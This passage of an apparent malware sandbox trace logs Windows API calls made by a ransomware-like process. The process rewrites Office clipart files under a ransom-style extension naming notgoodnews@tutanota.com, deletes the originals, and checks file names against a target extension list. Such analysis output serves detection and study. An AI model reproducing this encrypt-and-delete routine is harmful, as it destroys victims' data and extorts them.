office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.589] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.589] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.590] GetLastError () returned 0x0 [0082.590] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xdec, lpOverlapped=0x0) returned 1 [0082.591] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0082.592] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.592] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe8, lpOverlapped=0x0) returned 1 [0082.592] SetEndOfFile (hFile=0x348) returned 1 [0082.592] CloseHandle (hObject=0x348) returned 1 [0082.597] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.597] SetEndOfFile (hFile=0x398) returned 1 [0083.176] CloseHandle (hObject=0x398) returned 1 [0083.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0083.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.176] lstrlenW (lpString=".doc") returned 4 [0083.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString=".docx") returned 5 [0083.177] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0083.177] lstrlenW (lpString=".pdf") returned 4 [0083.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString=".xls") returned 4 [0083.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.177] lstrlenW (lpString=".xlsx") returned 5 [0083.177] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0083.177] lstrlenW (lpString=".ppt") returned 4 [0083.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.177] lstrlenW (lpString=".zip") returned 4 [0083.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.177] lstrlenW (lpString=".rar") returned 4 [0083.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString=".bz2") returned 4 [0083.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString=".7z") returned 3 [0083.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.177] lstrlenW (lpString=".dbf") returned 4 [0083.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.177] lstrlenW (lpString=".1cd") returned 4 [0083.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.177] lstrlenW (lpString=".jpg") returned 4 [0083.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.177] lstrlenW (lpString=".doc") returned 4 [0083.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString=".docx") returned 5 [0083.177] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0083.177] lstrlenW (lpString=".pdf") returned 4 [0083.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.177] lstrlenW (lpString=".xls") returned 4 [0083.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.178] lstrlenW (lpString=".xlsx") returned 5 [0083.178] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0083.178] lstrlenW (lpString=".ppt") returned 4 [0083.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.178] lstrlenW (lpString=".zip") returned 4 [0083.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.178] lstrlenW (lpString=".rar") returned 4 [0083.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.178] lstrlenW (lpString=".bz2") returned 4 [0083.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.178] lstrlenW (lpString=".7z") returned 3 [0083.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.178] lstrlenW (lpString=".dbf") returned 4 [0083.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.178] lstrlenW (lpString=".1cd") returned 4 [0083.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0083.178] lstrlenW (lpString=".jpg") returned 4 [0083.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.178] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.178] lstrlenW (lpString="DD00413_.WMF") returned 12 [0083.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.179] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=42992) returned 1 [0083.179] CloseHandle (hObject=0x398) returned 1 [0083.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0083.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.179] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.179] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.180] GetLastError () returned 0x0 [0083.180] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xa7f0, lpOverlapped=0x0) returned 1 [0083.182] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xa800, lpOverlapped=0x0) returned 1 [0083.183] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.183] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.183] SetEndOfFile (hFile=0x344) returned 1 [0083.184] CloseHandle (hObject=0x344) returned 1 [0083.185] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.185] SetEndOfFile (hFile=0x398) returned 1 [0083.186] CloseHandle (hObject=0x398) returned 1 [0083.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0083.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.187] lstrlenW (lpString=".doc") returned 4 [0083.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.187] lstrlenW (lpString=".docx") returned 5 [0083.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.187] lstrlenW (lpString=".pdf") returned 4 [0083.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.187] lstrlenW (lpString=".xls") returned 4 [0083.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.187] lstrlenW (lpString=".xlsx") returned 5 [0083.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.187] lstrlenW (lpString=".ppt") returned 4 [0083.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.187] lstrlenW (lpString=".zip") returned 4 [0083.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.187] lstrlenW (lpString=".rar") returned 4 [0083.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.187] lstrlenW (lpString=".bz2") returned 4 [0083.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.187] lstrlenW (lpString=".7z") returned 3 [0083.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.188] lstrlenW (lpString=".dbf") returned 4 [0083.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.188] lstrlenW (lpString=".1cd") returned 4 [0083.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.188] lstrlenW (lpString=".jpg") returned 4 [0083.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.188] lstrlenW (lpString=".doc") returned 4 [0083.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString=".docx") returned 5 [0083.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.188] lstrlenW (lpString=".pdf") returned 4 [0083.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString=".xls") returned 4 [0083.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.188] lstrlenW (lpString=".xlsx") returned 5 [0083.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.188] lstrlenW (lpString=".ppt") returned 4 [0083.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.188] lstrlenW (lpString=".zip") returned 4 [0083.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.188] lstrlenW (lpString=".rar") returned 4 [0083.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString=".bz2") returned 4 [0083.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString=".7z") returned 3 [0083.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.188] lstrlenW (lpString=".dbf") returned 4 [0083.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.189] lstrlenW (lpString=".1cd") returned 4 [0083.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0083.189] lstrlenW (lpString=".jpg") returned 4 [0083.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.189] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.189] lstrlenW (lpString="DD00414_.WMF") returned 12 [0083.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.189] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=42908) returned 1 [0083.189] CloseHandle (hObject=0x398) returned 1 [0083.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0083.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.190] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.190] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.190] GetLastError () returned 0x0 [0083.190] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xa79c, lpOverlapped=0x0) returned 1 [0083.193] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0083.194] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.194] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.195] SetEndOfFile (hFile=0x344) returned 1 [0083.195] CloseHandle (hObject=0x344) returned 1 [0083.197] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.197] SetEndOfFile (hFile=0x398) returned 1 [0083.198] CloseHandle (hObject=0x398) returned 1 [0083.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0083.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.199] lstrlenW (lpString=".doc") returned 4 [0083.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString=".docx") returned 5 [0083.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.199] lstrlenW (lpString=".pdf") returned 4 [0083.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString=".xls") returned 4 [0083.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.199] lstrlenW (lpString=".xlsx") returned 5 [0083.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.199] lstrlenW (lpString=".ppt") returned 4 [0083.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.199] lstrlenW (lpString=".zip") returned 4 [0083.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.199] lstrlenW (lpString=".rar") returned 4 [0083.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString=".bz2") returned 4 [0083.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString=".7z") returned 3 [0083.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.199] lstrlenW (lpString=".dbf") returned 4 [0083.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.199] lstrlenW (lpString=".1cd") returned 4 [0083.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.199] lstrlenW (lpString=".jpg") returned 4 [0083.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.200] lstrlenW (lpString=".doc") returned 4 [0083.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.200] lstrlenW (lpString=".docx") returned 5 [0083.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.200] lstrlenW (lpString=".pdf") returned 4 [0083.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.200] lstrlenW (lpString=".xls") returned 4 [0083.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.200] lstrlenW (lpString=".xlsx") returned 5 [0083.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.200] lstrlenW (lpString=".ppt") returned 4 [0083.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.200] lstrlenW (lpString=".zip") returned 4 [0083.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.200] lstrlenW (lpString=".rar") returned 4 [0083.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.200] lstrlenW (lpString=".bz2") returned 4 [0083.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.200] lstrlenW (lpString=".7z") returned 3 [0083.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.200] lstrlenW (lpString=".dbf") returned 4 [0083.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.200] lstrlenW (lpString=".1cd") returned 4 [0083.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0083.200] lstrlenW (lpString=".jpg") returned 4 [0083.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.200] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.200] lstrlenW (lpString="DD00419_.WMF") returned 12 [0083.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.201] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=712) returned 1 [0083.201] CloseHandle (hObject=0x398) returned 1 [0083.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0083.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.202] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.202] SetFilePointerEx (in: hFile=0x398, 